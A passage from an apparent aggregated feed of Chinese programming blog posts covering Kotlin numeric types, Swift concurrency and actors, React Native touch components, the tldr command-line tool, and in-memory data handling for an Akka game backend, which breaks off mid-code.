  • 十六进制:0x0F

  • 二进制:0b00001011

  • 不支持八进制

  • Long 类型用大写 L 标记:123L

浮点数值有以下几种字面常量:

  • 默认是 Double 类型:123.5123.5e10

  • Float 类型用 fF 标记:123.5f

可以使用下划线使数字常量更易读。

val oneMillion = 1_000_000
val creditCardNumber = 1234_5678_9012_3456L
val socialSecurityNumber = 999_99_9999L
val hexBytes = 0xFF_EC_DE_5E
val bytes = 0b11010010_01101001_10010100_10010010

JVM 上的数字表示

JVM 平台上,数字存储为原始类型:intdouble 等。

例外情况是,当创建可空数字引用(如 Int?Double? 等)或使用泛型时。数字会被装箱为 JavaIntegerDouble 等。

对相同数字的可空引用可能指向不同的对象。

fun main() {
    val a: Int = 100
    val boxedA: Int? = a
    val anotherBoxedA: Int? = a

    val b: Int = 10000
    val boxedB: Int? = b
    val anotherBoxedB: Int? = b

    println(boxedA === anotherBoxedA) // true
    println(boxedB === anotherBoxedB) // false
}

由于 JVM-128127 之间的 Integer 应用了内存优化,所有对 a 的可空引用实际上是同一个对象。

这种优化不适用于 b 引用,b 指向不同的对象(因为 10000 超出缓存范围)。

另一方面,它们仍然是相等的。

fun main() {
    val b: Int = 10000
    println(b == b) // true
    
    val boxedB: Int? = b
    val anotherBoxedB: Int? = b
    println(boxedB == anotherBoxedB) // true
}

显式数字转换

由于表示方式不同,较小的类型不是较大类型的子类型。如果它们是,我们可能会遇到以下问题。

// 假设的代码,实际上无法编译。
val a: Int? = 1 // 一个装箱的 Int (java.lang.Integer)
val b: Long? = a // 隐式转换产生一个装箱的 Long (java.lang.Long)
print(b == a) // 意外!这会输出 false,因为 Long 的 equals() 检查另一个对象是否也是 Long

因此,相等性会悄无声息地丢失,更不用说同一性了。

因此,较小的类型不会隐式转换为较大的类型。这意味着将 Byte 类型的值分配给 Int 变量需要显式转换。

fun main() {
    val b: Byte = 1
    val i: Int = b.toInt() // ok
    // val j: Int = b // error
}

所有数字类型都支持转换为其他类型:

  • toByte(): Byte

  • toShort(): Short

  • toInt(): Int

  • toLong(): Long

  • toFloat(): Float

  • toDouble(): Double

在许多情况下,不需要显式转换,因为类型可以从上下文中推断出来,并且算术操作已重载以进行适当的转换。

fun main() {
    val b: Int = 10000
    val c: Long = b + 1L // ok
    // val d: Long = b // error
}

运算

整数之间的除法总是返回一个整数。任何小数部分都会被丢弃。

fun main() {
    println(1 + 2) // 3
    
    println(2_500_000_000L - 1L) // 2499999999
    
    println(3.14 * 2.71) // 8.5094
    println(3.14 * 2) // 6.28
    println(3 * 2) // 6
    println(3.14.toInt() * 2) // 6
    
    println(10.0 / 3) // 3.3333333333333335
    println(10 / 3) // 3
    println(10 / 3.toDouble()) // 3.3333333333333335
    println((10 / 3).toDouble()) // 3.0
    
    val x = 5L / 2
    println(x == 2L) // true
    
    println(5 % 2) // 1
}

位操作

提供了一组对整数进行位操作的函数。它们直接在二进制级别上操作数字的位表示。

位操作由可以以中缀形式调用的函数表示。它们只能应用于 IntLong 类型。

以下是位操作的完整列表:

  • shl(bits) —— 有符号左移

  • shr(bits) —— 有符号右移

  • ushr(bits) —— 无符号右移

  • and(bits) —— 按位与

  • or(bits) —— 按位或

  • xor(bits) —— 按位异或

  • inv() —— 按位取反

val x = (1 shl 2) and 0x00_0F_F0_00

浮点数比较

浮点数操作包括:

  • 相等性检查:a == ba != b

  • 比较操作符:a < ba > ba <= ba >= b

  • 范围实例化和范围检查:a .. bx in a .. bx !in a .. b

fun main() {
    val a = 0.6 / 2
    
    println(a == 0.3) // true
    println(a != 0.31) // true
    
    if (a < 0.31) println("a < 0.31") // a < 0.31
    if (a <= 0.3) println("a <= 0.3") // a <= 0.3
    if (a > 0.2999999) println("a > 0.2999999") // a > 0.2999999
    if (a >= 0.300000) println("a >= 0.300000") // a >= 0.300000
}
fun main() {
    val a = 0.6 / 2
    
    if (a in 0.299 .. 0.301) println("a in 0.299 .. 0.301") // a in 0.299 .. 0.301
    if (a !in 0.399 .. 0.401) println("a !in 0.399 .. 0.401") // a !in 0.399 .. 0.401
}

然而,为了支持通用用例并提供全序关系,对于未静态类型化为浮点数的操作数,行为会有所不同。例如,AnyComparable<...>Collection<T> 类型。在这种情况下,操作使用 FloatDoubleequalscompareTo 实现。因此:

  • NaN 被认为等于自身

  • NaN 被认为大于任何其他元素,包括 POSITIVE_INFINITY

  • -0.0 被认为小于 0.0

以下展示了静态类型化为浮点数的操作数(Double.NaN)和未静态类型化为浮点数的操作数(listOf(T))之间的行为差异。

fun main() {
    // 静态类型化为浮点数的操作数。
    println(Double.NaN == Double.NaN) // false
    
    // 操作数未静态类型化为浮点数,因此 NaN 等于自身。
    println(listOf(Double.NaN) == listOf(Double.NaN)) // true

    // 静态类型化为浮点数的操作数。
    println(0.0 == -0.0) // true
    
    // 操作数未静态类型化为浮点数,因此 -0.0 小于 0.0。
    println(listOf(0.0) == listOf(-0.0)) // false

    // [-0.0, 0.0, Infinity, NaN]
    println(listOf(Double.NaN, Double.POSITIVE_INFINITY, 0.0, -0.0).sorted())
}

by xvch at January 18, 2025 08:49 AM

juejin ios

并发编程

swift: 5.5+

iOS: 15.0+

Xcode: 13+

一、并发编程

  1. 同步和异步

Swift 5.5 之前,所有的函数都是同步函数

var results: [String] = []
func addAppending(_ value: String, to string: String){
    results.append(value.appending(string))
}

在 iOS 开发中使用的 UI 开发框架不是线程安全的:对用户输入的处理和 UI 的绘制,必须在与主线程绑定的 main runloop 中进行。假设我们希望用户界面以每秒 60 帧的速率运行,那么主线程中每两次绘制之间,所能允许的处理时间最多只有 16 毫秒 (1 / 60s)

假设从网络 URL 读取字符串:如果这个操作发生在主线程,且耗时超过 16ms

// 从网络读取一个字符串
func loadSignature() throws -> String? {

    let data = try Data(contentsOf: someURL)

    return String(data: data, encoding: .utf8)
}

Swift 5.5 之前,要解决这个问题,最常见的做法是将耗时的同步操作转换为异步操作

func loadSignature(_ completion: @escaping (String?, Error?) -> Void) {
    DispatchQueue.global().async {
        do {
            let d = try Data(contentsOf: someURL)
            DispatchQueue.main.async {
                completion(String(data: d, encoding: .utf8), nil)
            }
        } catch {
            DispatchQueue.main.async {
                completion(nil, error)
            }
        }
    }
}

异步操作虽然可以避免卡顿,但是使用起来存在不少问题,最主要包括:

  1. 错误处理隐藏在回调函数的参数中。

  2. 开发者可能会忘记调用 completion,或者多次调用 completion。

  3. 不查看源码的话,几乎无法确定代码当前运行的线程状态。

  4. 对于正在执行的任务,没有很好的取消机制。

我们将运行在后台线程加载数据的行为称为异步操作,但是接受回调函数作为参数的 loadSignature(_:) 方法,其本身依然是一个同步函数。这个方法在返回前仍旧会占据主线程,只不过它现在的执行时间非常短,UI 相关的操作不再受影响。

  1. 串行和并行

if let signature = try loadSignature() {
    addAppending(signature, to: "some data")
}
print(results)

loadSignatureaddAppending 和 print 它们在同一线程中按严格的先后顺序发生。这种执行方式,我们将它称为串行 (serial)

异步操作也可能会以串行方式执行。假设除了 loadSignature(_:) 以外,我们还有一个从数据库里读取一系列数据的函数,它使用类似的方法,把具体工作放到其他线程异步执行:

func loadFromDatabase(_ completion: @escaping ([String]?, Error?) -> Void) {
    // ...
}

如果我们先从数据库中读取数据,在完成后再使用 loadSignature 从网络获取签名,最后将签名附加到每一条数据库中取出的字符串上,可以这么写:

loadFromDatabase { (strings, error) in
    if let strings = strings {
        loadSignature { signature, error in
            if let signature = signature {
                strings.forEach {
                    addAppending(signature, to: $0)
                }
            } else {
                print("Error")
            }
        }
    } else {
        print("Error.")
    }
}

虽然这些操作是异步的,但是它们依然是串行的

虽然图中把 loadFromDatabase 和 loadSignature 画在了同一个线程里,但事实上它们有可能是在不同线程执行的。不过在上面代码的情况下,它们的先后次序依然是严格不变的。

loadFromDatabase 和 loadSignature 两者没有直接依赖,可以并发执行, 在 GCD 中,通常可以使用 DispatchGroup 或者 DispatchSemaphore 来实现这一点

这时候,loadFromDatabaseloadSignature 这两个异步操作,在不同的线程中同时执行。对于这种拥有多套资源同时执行的方式,我们就将它称为并行 (parallel)

  1. Swift 并发是什么(concurrency)

定义: TL;DR 在计算机科学中,~~~~并发~~~~指的是多个计算同时执行的特性。并发计算中涉及的同时执行,主要是若干个操作的开始和结束时间之间存在重叠。它并不关心具体的执行方式:我们可以把同一个线线程中的多个操作交替运行 (这需要这类操作能够暂时被置于暂停状态) 叫做并发,这几个操作将会是分时运行的

异步和并行代码的组合

并发编程最大的困难以及所要解决的问题大致上只有两个:

  1. 如何确保不同运算运行步骤之间的交互或通信可以按照正确的顺序执行
  2. 如何确保运算资源在不同运算之间被安全地共享、访问和传递

第一个问题负责并发的逻辑正确,第二个问题负责并发的内存安全。

  1. 异步函数

在函数声明的返回箭头前面,加上 async 关键字,就可以把一个函数声明为异步函数:

func loadSignature() async throws -> String {
    fatalError("暂未实现")
}

异步函数的 async 关键字会帮助编译器确保两件事情:

  1. 它允许我们在函数体内部使用 await 关键字;
  2. 它要求其他人在调用这个函数时,使用 await 关键字。

//就可以非常简单地写成这样的形式:
let strings = try await loadFromDatabase()
if let signature = try await loadSignature() {
    strings.forEach {
        addAppending(signature, to: $0)
    }
} else {
    throw NoSignatureError()
}

异步函数极大简化了异步操作的写法,它避免了内嵌的回调,将异步操作按照顺序写成了类似“同步执行”的方法

  1. 结构化并发

对于同步函数来说,线程决定了它的执行环境。而对于异步函数,则由任务 (Task) 决定执行环境。Swift 提供了一系列 Task 相关 API 来让开发者创建、组织、检查和取消任务。这些 API 围绕着 Task 这一核心类型,为每一组并发任务构建出一棵结构化的任务树:

  1. 一个任务具有它自己的优先级和取消标识,它可以拥有若干个子任务并在其中执行异步函数。
  2. 当一个父任务被取消时,这个父任务的取消标识将被设置,并向下传递到所有的子任务中去。
  3. 无论是正常完成还是抛出错误,子任务会将结果向上报告给父任务,在所有子任务完成之前 (不论是正常结束还是抛出),父任务是不会完成的。

在调用异步函数时,需要在它前面添加 await 关键字;而另一方面,只有在异步函数中,我们才能使用 await 关键字。那么问题在于,第一个异步函数执行的上下文,或者说任务树的根节点,是怎么来的? 简单地使用 Task.init 就可以让我们获取一个任务执行的上下文环境,它接受一个 async 标记的闭包

var results: [String] = []
func someSyncMethod() {
    Task {
        try await processFromScratch()
        print("Done: (results)")
    }
}
func processFromScratch() async throws {
    let strings = try await loadFromDatabase()
    if let signature = try await loadSignature() {
        strings.forEach {
            results.append($0.appending(signature))
        }
    } else {
        throw NoSignatureError()
    }
}

注意,在 processFromScratch 中的处理依然是串行的:对 loadFromDatabase 的 await 将使这个异步函数在此暂停,直到实际操作结束,接下来才会执行 loadSignature

使用 async let 绑定可以做到两个操作可以同时进行:

async let 被称为异步绑定,它在当前 Task 上下文中创建新的子任务,并将它用作被绑定的异步函数 。

和 Task.init 新建一个任务根节点不同,async let所创建的子任务是任务树上的叶子节点。

被异步绑定的操作会立即开始执行,即使在 await 之前执行就已经完成,但依然可以等到 await 语句时再返回.

在上面的例子中,loadFromDatabase 和 loadSignature 将被并发执行。

func processFromScratch() async throws {
    async let loadStrings = loadFromDatabase()
    async let loadSignature = loadSignature()
    results = []
    let strings = try await loadStrings
    if let signature = try await loadSignature {
        strings.forEach {
            addAppending(signature, to: $0)
        }
    } else {
        throw NoSignatureError()
    }
}

processFromScratch 完成了从本地加载数据,从网络获取签名,再将签名附加到每一条数据上。

假设另一种途径, 可以用一个异步函数来表示“从网络直接加载结果”的操作

func loadResultRemotely() async throws {
    // 模拟网络加载的耗时
    await Task.sleep(2 * NSEC_PER_SEC)
    results = ["data1^sig", "data2^sig", "data3^sig"]
}

除了 async let 外,另一种创建结构化并发的方式,是使用任务组 (Task group)。比如,我们希望在执行 loadResultRemotely 的同时,让 processFromScratch 一起运行,可以用 withThrowingTaskGroup 将两个操作写在同一个 task group 中

func someSyncMethod() {
    Task {
        await withThrowingTaskGroup(of: Void.self) { group in
            group.addTask {
                try await self.loadResultRemotely()
            }
            group.addTask(priority: .low) {
                try await self.processFromScratch()
            }
        }
        print("Done: (results)")
    }
}

需要为不同的子任务设置不同优先级时,我们将只能选择使用 Task Group。在其他大部分情况下,async let 和 task group 可以混用甚至互相替代

  1. Actor模型

在介绍Actor模型之前, 我们还是继续前面, 不论 processFromScratchloadResultRemotely 执行的先后顺序如何,通常在正确输出三个元素(假设结果)的情况外,当两个函数执行的时间相仿的情况下,两个线程同时访问了results, 造成了资源竞争,有时候它会输出六个元素: // 有机率输出: Done: ["data1^sig", "data2^sig", "data3^sig", "data1^sig", "data2^sig", "data3^sig"]

为了确保资源在不同运算之间被安全地共享和访问,通常的做法是将相关的代码放入一个串行的 dispatch queue 中。按照这个思路可以进行一些重构,将 results放到新的 Holder 类型中,并使用私有的 DispatchQueue 将它保护起来:

class Holder {
    private let queue = DispatchQueue(label: "resultholder.queue")
    private var results: [String] = []
    func getResults() -> [String] {
        queue.sync { results }
    }
    func setResults(_ results: [String]) {
        queue.sync { self.results = results }
    }
    func append(_ value: String) {
        queue.sync { self.results.append(value) }
    }
}

在使用 GCD 进行并发操作时,这种模式非常常见。但是它存在一些难以忽视的问题:

  1. 凡是涉及 results 的操作,都需要使用 queue.sync 包围起来。在某些时候忘了使用队列,编译器也不会进行任何提示,这种情况下内存依然存在危险。
  2. 在一个 queue.sync 中调用另一个 queue.sync 的方法,会造成线程死锁。必须精心设计,避免重复派发。

在一定程度上,我们可以用 async 替代 sync 派发来缓解死锁的问题;或者放弃队列,转而使用锁 (比如 NSLock或者 NSRecursiveLock) 不过不论如何做,都需要非常小心,否则非常容易写出很多坑

Swift 5.5 并发引入了一种在业界已经被多次证明有效的新的数据共享模型(actor 模型) ,简单的理解,可以认为 actor 就是一个 “封装了私有队列”的 class。将上面 Holder 中 class 改为 actor,并把 queue 的相关部分去掉,我们就可以得到一个 actor 类型:

actor Holder {
    var results: [String] = []

    func setResults(_ results: [String]) {
        self.results = results
    }
    func append(_ value: String) {
        results.append(value)
    }
}

对比由私有队列保护的“手动挡”的 class,这个“自动档”的 actor 实现显然简洁得多。

当我们把 Holder 从 class 转换为 actor 后,原来对 holder 的调用也需要更新。简单来说,在访问相关成员时,添加 await 即可:

// holder.setResults([])
await holder.setResults([])
// holder.append(data.appending(signature))
await holder.append(data.appending(signature))
print("Done: (await holder.results)")

7. ### 小结

当我们使用 GCD 或者其他一些“原始”手段来处理并发程序时可能面临的困难,并在此基础上了解 Swift 并发中处理和解决这些问题的方式。

Swift 并发虽然涉及了不少概念,但是各种的模块边界是清晰的:

  1. 异步函数:提供语法工具,使用更简洁和高效的方式,表达异步行为。
  2. 结构化并发:提供并发的运行环境,负责正确的函数调度、取消和执行顺序以及任务的生命周期。
  3. actor 模型:提供封装良好的数据隔离,确保并发代码的安全。


二、Actor模型和数据隔离

  1. 共享内存的困境

规则: 把一个对象想象为一间房间,房间里有一张纸,上面会用画“正”字的方式记录这个房间被访问的次数。知道这个房间房号的人,可以进入到房间里,并在纸上添加上自己的来访记录,然后把房间的总访问次数记下,并带回去

单线程情况下:

多线程情况下:

锁的使用和问题

使用锁来解决基于内存共享模型的并发,面临着相当的挑战:

  1. 如果没有设计足够的锁,那么对象状态可能由于多线程的同时访问而损坏。
  2. 如果设计了太多的锁,由于等待将造成性能的损失,甚至导致程序无法继续的死锁。

保证数据安全是并发编程中的一大难题,而锁是一个看起来很自然的答案。 但随着项目越发复杂,锁将越来越不可靠。Actor 模型提供了一种新的解决方案。

  1. actor隔离

还是这个房间,我们换一换思路。现在把所有的安全设施都撤掉,只在它的门口设置一个信箱,并为这个房间内配置一个专员。来访者不再被允许进入房间,他们只能携带一封信,并将这封信投递到信箱里。房间里的专员会负责检查信箱,每次拿出一封信进行处理。在获取信后,专员在房间里的“正”字纸上添加一笔,然后把结果封好作为回信寄回给来访者的地址。这样一来我们“轻易”地解决了上面的问题:

因为只有一个操作专员,且他每次只处理一封信,所以同一时间只会有一个人在纸上写字。内存状态不会遭到破坏。

因为来访者现在只需要进行信件投递,这不需要任何等待。投递完成后来访者 (调用线程) 就可以去做其他事情了,直到房间回信到达才需要回头处理结果。对锁的完全去除,也从根本上消除了死锁的可能性

这样一个房间的模型,我们就把它称作 actor

概念: Actor的主要目标是解决共享资源在多线程环境中可能引发的数据竞争和线程不安全的问题。通过使用Actor,可以将数据和操作封装在一个单独的执行上下文中,并保证它们在同一时间只能被一个任务访问和修改,从而避免多线程并发导致的数据一致性问题。

  1. Swift中的actor 和隔离检查

actor Room {
    let roomNumber = "101"
    var visitorCount: Int = 0
    init() {}
    func visit() -> Int {
        visitorCount += 1
        return visitorCount
    }
}

actor 类型和 class 类型在结构上十分相似,它可以拥有初始化方法、普通的方法、属性以及下标。它们能够被扩展并满足协议,可以支持泛型等, 但不支持继承。和 class 的主要不同在于actor 将保护其中的内部状态 (或者说存储属性),让自身免受数据竞争带来的困扰。这种保护通过 Swift 编译器的一系列限制来达成,这主要包括对 actor 中成员 (包括实例方法和属性) 的访问限制。在 actor 中,对属性的直接访问只允许发生在 self 里

class Op {
    func foo() {
        let room = Room()
        room.visitorCount += 1
        print(room.visitorCount)
    }
}
//Error:
//Actor-isolated property 'visitorCount' can not be mutated from a non-isolated context
//Actor-isolated property 'visitorCount' can not be referenced from a non-isolated context

从外部直接操作和访问内部状态 visitorCount 的行为是被限制的,我们把这种限制称作 actor 隔离:Room 的成员被隔离在了 actor 自身所定义的隔离域 (actor isolated scope) 中。 我们甚至不能直接调用 visit 方法,它也是在隔离域中的:

func foo() {
    let room = Room()
    room.visit()
}
//Call to actor-isolated instance method 'visit()' in a synchronous nonisolated context

如果在 Room 是 class 的情况下,都是被允许的。但是在 class 中它们并不安全,如果不加锁,任何线程都可以任意访问它们,这会面临数据竞争的风险。和 class 不同,在 actor 实例上所有的声明,包括那些存储和计算属性 (比如 visitorCount)、实例方法 (比如 visit())、实例的下标等,默认情况下都是 actor 隔离的。隔离域对于自身来说是透明的:被同一个域隔离的成员可以自由地互相访问,比如 visit() 中可以自由操作 visitorCount。 从 actor 外部持有对这个 actor 的引用,并对某个具有 actor 隔离特性的声明的访问,叫做跨 actor 调用。这种调用只有在异步时可以使用:

func bar() async {
    let room = Room()
    let visitCount = await room.visit()
    print(visitCount)
    print(await room.visitorCount)
}

虽然 Room.visit 并没有被标记为 async 函数,但是编译期间 Swift 会对 actor Room 进行隔离检查,它会决定哪些调用是跨 actor 隔离域的调用。

要注意,actor 隔离域是按照 actor 实例进行隔离的:也就是说,不同的 Room 实例拥有不同的隔离域。如果要进行消息的“转发”,我们必须明确使用 await

actor Room {
    func forwardVisit(_ anotherRoom: Room) async -> Int {
        await anotherRoom.visit()
    }
}

对于 Swift 中的 actor模型,最重要的就是理解隔离域,并记住两个结论:

  1. 某个隔离域中的声明,可以无缝访问相同隔离域中的其他成员;
  2. 某个隔离域外的声明,都无法直接访问这个隔离域的成员。只有通过异步消息的方法,才能跨越隔离域进行访问。


三、 全局MainActor

  1. 主线程队列派发

当我们在请求网络数据的返回数据的时候, 需要将得到的数据更新到UI上, 在GCD 中,会需要使用 DispatchQueue.main 切换到主线程, 然后进行数据绑定

let task = URLSession.shared.dataTask(with: someURL) { data, response, error in
    
    DispatchQueue.main.async {
        self.updateUI(data)
    }
}
task.resume()

当时如果回调本身就在主线程的话, 还是这样调用往往会改变原有的执行顺序, 为了避免这样的情况,我们通常会对当前线程进行判断是否需要执行派发, 如下:

extension DispatchQueue {
    static func mainAsyncOrExecute(_ work: @escaping () -> Void) {
        if Thread.current.isMainThread {
            work()
        } else {
            main.async { work() }
        }
    }
}

这个模式其实和 actor 相似, 当方法在 actor 隔离域时,我们就可以用同步方式直接访问 actor成员,在隔离域外时,则需要异步访问。 我们完全可以为把主线程看作是一个特殊的 actor 隔离域, 这个隔离域绑定的执行线程就是主线程,任何来自其他隔离域的调用,需要通过 await 来进行 actor 跳跃。在 Swift 中这个特殊的 actor 就是 MainActor

  1. MainActor 隔离域

MainActor 是标准库中定义的一个特殊 actor 类型:

@globalActor final public actor MainActor : GlobalActor {
    public static let shared: MainActor
    ...
}

整个程序只有一个主线程,因此 MainActor 类型也只应该提供唯一一个对应主线程的 actor 隔离域。它通过 shared 来提供一个全局单例。所有被限制在 MainActor 隔离域中的代码,都将在主线程上运行。

  1. @MainActor 属性包装

这是一个新的属性wrapper, 这个wrapper可以用来标记主线程上执行的异步函数和方法等

@MainActor class C1 {
    func method() {}
}

class C2 {
    @MainActor var value: Int?
    @MainActor func method() {}
    func nonisolatedMethod() {}
}

@MainActor var globalValue: String = ""

修饰的地方不同, @MainActor 也不一样。 1. C1 整个类都被标记为 @MainActor, 表示这个类的所有方法和属性都被限定在MainActor隔离域中 2. C2 只有部分方法被标记为@MainActor。 3. 全局范围的变量(globalValue)或者函数,也可以用 @MainActor 限定它的作用范围

在使用时需要切换到 MainActor 隔离域。和其他一般的 actor 一样,可以通过 await 来完成这个 actor 跳跃;也可以通过将 Task 闭包标记为 @MainActor 来将整个闭包“切换”到与 C1 同样的隔离域,这样就可以使用同步的方式访问 C2 的成员了:

class Sample {
    func foo() {
        Task {
            await C1().method()
        }
        Task { @MainActor in
             C2().method()
             C2().value = 100
        }
        Task {
            await MainActor.run {
                globalValue = "Hello"
            }
        }
    }
    func bar() async {
        await C1().method()
    }
}

4. ### UIKit 中的 @MainActor

UIKit 中常用的类都被 @MainActor 修饰了, 比如:

@MainActor class UIViewController : UIResponder
@MainActor class UIView : UIResponder
@MainActor class UIButton : UIControl

在 Swift 并发的时代之前,虽然规定 UI 相关必须在主线程上操作,但编译器无法保证。@MainActor 的出现将这些类型上的成员明确地圈入隔离域中。从 UIViewController 自身内部的调用,可以直接使用同步方式。相比以前GCD, 现在 Task.init 可以更简单:

class ViewController: UIViewController {
    override func viewDidLoad() {
        Task {
            print("Task before: (Thread.current)")
            let someURL = URL(string: "https://example.com")!
            let (data, _) = try await URLSession.shared.data(from: someURL)
            self.updateUI(data)
            print("Task after: (Thread.current)")
        }
    }
    private func updateUI(_ data: Data?) {
        // ...
    }
}

继承自 UIViewController 的 ViewController 在 @MainActor 域中,因此 viewDidLoad 的运行环境也在同一隔离域里。通过 Task 新建的任务,将继承 actor 的运行环境,也就是说,它的闭包也运行在 MainActor 隔离域中的,这也是可以同步调用 updateUI 的原因。

打印结果:

Task before: <_NSMainThread: 0x600001708100>{number = 1, name = main}
Task after: <_NSMainThread: 0x600001708100>{number = 1, name = main}

Task.init 换为 Task.detached 的话,闭包的运行将无视原有隔离域

class ViewController: UIViewController {
    override func viewDidLoad() {
        Task.detached {
            print("Task before: (Thread.current)")
            let someURL = URL(string: "https://example.com")!
            let (data, _) = try await URLSession.shared.data(from: someURL)
            //self.updateUI(data)
            //Expression is 'async' but is not marked with 'await'
            await self.updateUI(data)
            print("Task after: (Thread.current)")
        }
    }
    private func updateUI(_ data: Data?) {
        print("UpdateUI: (Thread.current)")
    }
}

打印结果:

Task before: <NSThread: 0x6000017180c0>{number = 7, name = (null)}
UpdateUI: <_NSMainThread: 0x60000170c000>{number = 1, name = main}
Task after: <NSThread: 0x600001715240>{number = 4, name = (null)}

Task {} 是 Task.init 的简化形式,由 Task.init 创建的任务会继承调用线程的上下文并在调用线程中执行;而由 Task.detached 创建的任务是在独立的线程中执行,与调用线程完全独立,拥有自己的执行上下文和资源。

四、其他

  1. 讨论

    1. 了解Swift新特性, 对比现在的并发方式, 有新的解决方案

    2. 随着Swift新特性加入, 代码变得越简洁, 关键字越多, 未来可读性越差, 上手难度越大

    3. 新的特性往往伴随的iOS版本限制, 异步和 并发 ****要求最低iOS15+

  1. 参考

by 秘密酱23466 at January 18, 2025 08:49 AM

juejin frontend

RN|系统组件之触摸组件及区别 📝

触摸组件的事件包括点击和长按,事件触发顺序如下所示:

image.png

Pressable

带状态的触摸组件,比较灵活

  <Pressable
    style={state => {
      return [styles.btn3, state.pressed && styles.pressBtn3];
    }}>
    {state => {
      return state.pressed ? (
        <Text style={styles.pressTxt}>按 钮</Text>
      ) : (
        <Text style={styles.txt}>按 钮</Text>
      );
    }}
  </Pressable>
  
const styles = StyleSheet.create({
  pressBtn3: {
    backgroundColor: '#fff',
  },
  pressTxt: {
    color: '#0066DD',
    fontWeight: 'bold',
  },
  txt: {
    color: '#fff',
    fontWeight: 'bold',
  },
  btn3: {
    width: 200,
    height: 50,
    marginTop: 20,
    justifyContent: 'center',
    alignItems: 'center',
    backgroundColor: '#7090f0',
  },
});

TouchableOpacity

Props

activeOpacity

按下时的不透明度,between 0 and 1,默认0.2

TouchableHightlight

  • 必须有一个子组件

Props

activeOpacity

按下时的不透明度,between 0 and 1,默认0.85

activeOpacity 的行为需要有触摸事件才生效

underlayColor

控制按下时的背景色(建议设置,不然默认为黑色)

underlayColor 的行为需要有触摸事件才生效

TouchableWithoutFeedback

  • 没有视觉反馈的点击组件
  • 一般很少用到
  • 只支持一个子节点,且至少有一个子组件
  • 自身不支持样式
  • 如果需要给组件添加样式,只能添加到子组件上

Button

  • Button 不支持子组件
  • title 是必传属性,按钮内部文字
  • color 属性,ios 文字颜色;安卓 背景颜色
  • 触摸后有默认的水波纹背景渐变效果
<Button
  // 基本属性
  title="按钮文字"          // 必需属性
  onPress={() => {}}       // 点击事件

  // 颜色
  color="#007AFF"          // iOS: 文字颜色, Android: 背景颜色
/>
  • Android 原生 Button 不支持文字颜色自定义
  • 需要自定义文字颜色时,建议使用:
    • TouchableOpacity
    • Pressable
    • TouchableNativeFeedback(仅 Android)

不同触摸组件的区别

  • Pressable: 提供更强大的触摸反馈能力,支持按压状态的自定义样式,可响应不同的按压状态,如按下、抬起等。

  • TouchableOpacity: 使组件在被按下时变得透明,主要用于简单的按压效果。

  • TouchableHighlight: 按下时改变组件背景色,常用于突出显示按下的状态。

  • TouchableWithoutFeedback: 无任何反馈效果,仅用于触摸事件的捕捉,不改变样式。

  • Button: 内置样式的按钮组件,通常带有默认的触摸效果,适用于快速创建标准按钮。

by jiayinkong at January 18, 2025 08:39 AM

juejin freebie

tldr 快速查阅命令

TLDR 命令使用和介绍

什么是 TLDR?

TLDR 是一个社区驱动的命令行工具,旨在提供简洁易懂的命令行工具使用说明。它的名称来源于 "Too Long; Didn't Read",目标是为繁琐的 man 手册页提供简化版替代。

与传统的 man 页面相比,TLDR 更加简洁明了,聚焦于最常用的命令示例,非常适合初学者或需要快速查阅命令用法的用户。

TLDR 的主要特点

  1. 简单明了:去除冗长的技术细节,仅展示常用命令及其简洁的解释。
  2. 多平台支持:支持 Linux、macOS 和 Windows。
  3. 社区驱动:内容由全球开发者贡献,并不断更新。
  4. 支持离线模式:首次访问后,缓存内容可离线使用。

image.png

image-1.png

官方文档:github.com/tldr-pages/…

如何安装 TLDR?

使用包管理器安装

在 macOS 或 Linux 上:
brew install tldr
在 Windows 上:
scoop install tldr
# 或使用 choco
choco install tldr
使用 npm 安装(跨平台):
npm install -g tldr

基本使用方法

可以再使用前先更新一下缓存

tldr --update

查看命令示例

输入需要查询的命令名称即可:

tldr <命令>

例如:

tldr ls

输出:

ls
列出目录内容。

- 列出当前目录下的所有文件:
  ls

- 列出包含详细信息的文件:
  ls -l

- 显示隐藏文件:
  ls -a

更新缓存

确保你的页面是最新版本:

tldr --update

显示帮助信息

tldr --help

搜索命令

通过关键词查找相关命令:

tldr -s <关键词>

使用主题(不同样式)

tldr --theme <主题名称>

切换语言到中文

TLDR 支持多种语言,包括中文。可以通过设置环境变量切换语言:

export TLDR_LANGUAGE=zh

如果使用 Windows PowerShell,可以运行:

$env:TLDR_LANGUAGE="zh"

使用 npm 安装的 tldr 命令,默认是中文的,所以不需要设置。


常见问题

1. 如果命令不可用怎么办?

可能是缓存未更新,可以尝试运行:

tldr --update

2. 如何贡献新的命令或修正错误?

TLDR 项目托管在 GitHub 上,您可以访问其官方仓库进行贡献。


总结

TLDR 是一个快速高效的命令行助手,特别适合需要快速了解命令用法的用户。无论是初学者还是资深开发者,它都能在日常开发中提供极大帮助。

by LikM at January 18, 2025 08:13 AM

juejin backend

Akka分布式游戏后端开发8 游戏数据加载与存库

本专栏的项目代码在Github上,如果感兴趣的话,麻烦点点Star,谢谢啦。

在游戏业务中,数据的变动非常的频繁,并且要求延迟低(像 MOBA 这种,延迟10 ms都能有感觉),所以采用一般的数据缓存方案无法满足要求,因此大部分数据都需要加载到内存中,然后查询和修改都是基于内存操作的,然后再异步将脏数据写入数据库。

接口定义

首先定义一个 Entity 接口,用来表示数据库中的对象,没有方法,仅仅作为一个标记作用,方便后面的一些逻辑识别。

interface Entity

然后定义 MemData,表示数据库中的数据在内存中的管理类,包含一个 init 方法,用于初始化内存数据。

interface MemData<E> where E : Entity {
    fun init()
}

对于加载到内存后不需要变动的数据,到这一步,其实就已经完成了。真正复杂的部分在于那些加载到内存中的变动数据,如何进行存库。

对于不变的数据,假设我们有一个 WorkerIdEntity,那么 MemData 的实现可能如下:

class WorkerIdMem(private val mongoTemplate: () -> MongoTemplate) : MemData<WorkerId> {
    private val workerIdByAddr: MutableMap<String, WorkerId> = mutableMapOf()

    override fun init() {
        val template = mongoTemplate()
        val workerIdList = template.findAll(WorkerId::class.java)
        workerIdList.forEach {
            workerIdByAddr[it.addr] = it
        }
    }
}

只需要查库,然后塞数据,另外可能再做一下增删改查的方法就好了。对于变动的内存数据,我们做不到数据每变动一次,就执行一次写数据库操作,那样会带来非常高的数据库 IO,通常会是定时刷一次,或者用算法去标记某些脏数据,只把脏数据写入数据库。这里我们使用第二种,通过标记脏数据的方式。为此,我们再定义一种 MemData,叫 TraceableMemData,提供脏数据追踪功能:

abstract class TraceableMemData<K, E>(
    entityClass: KClass<E>,
    kryoPool: KryoPool,
    coroutine: TrackingCoroutineScope,
    mongoTemplate: () -> MongoTemplate
) : MemData<E> where K : Any, E : Entity {
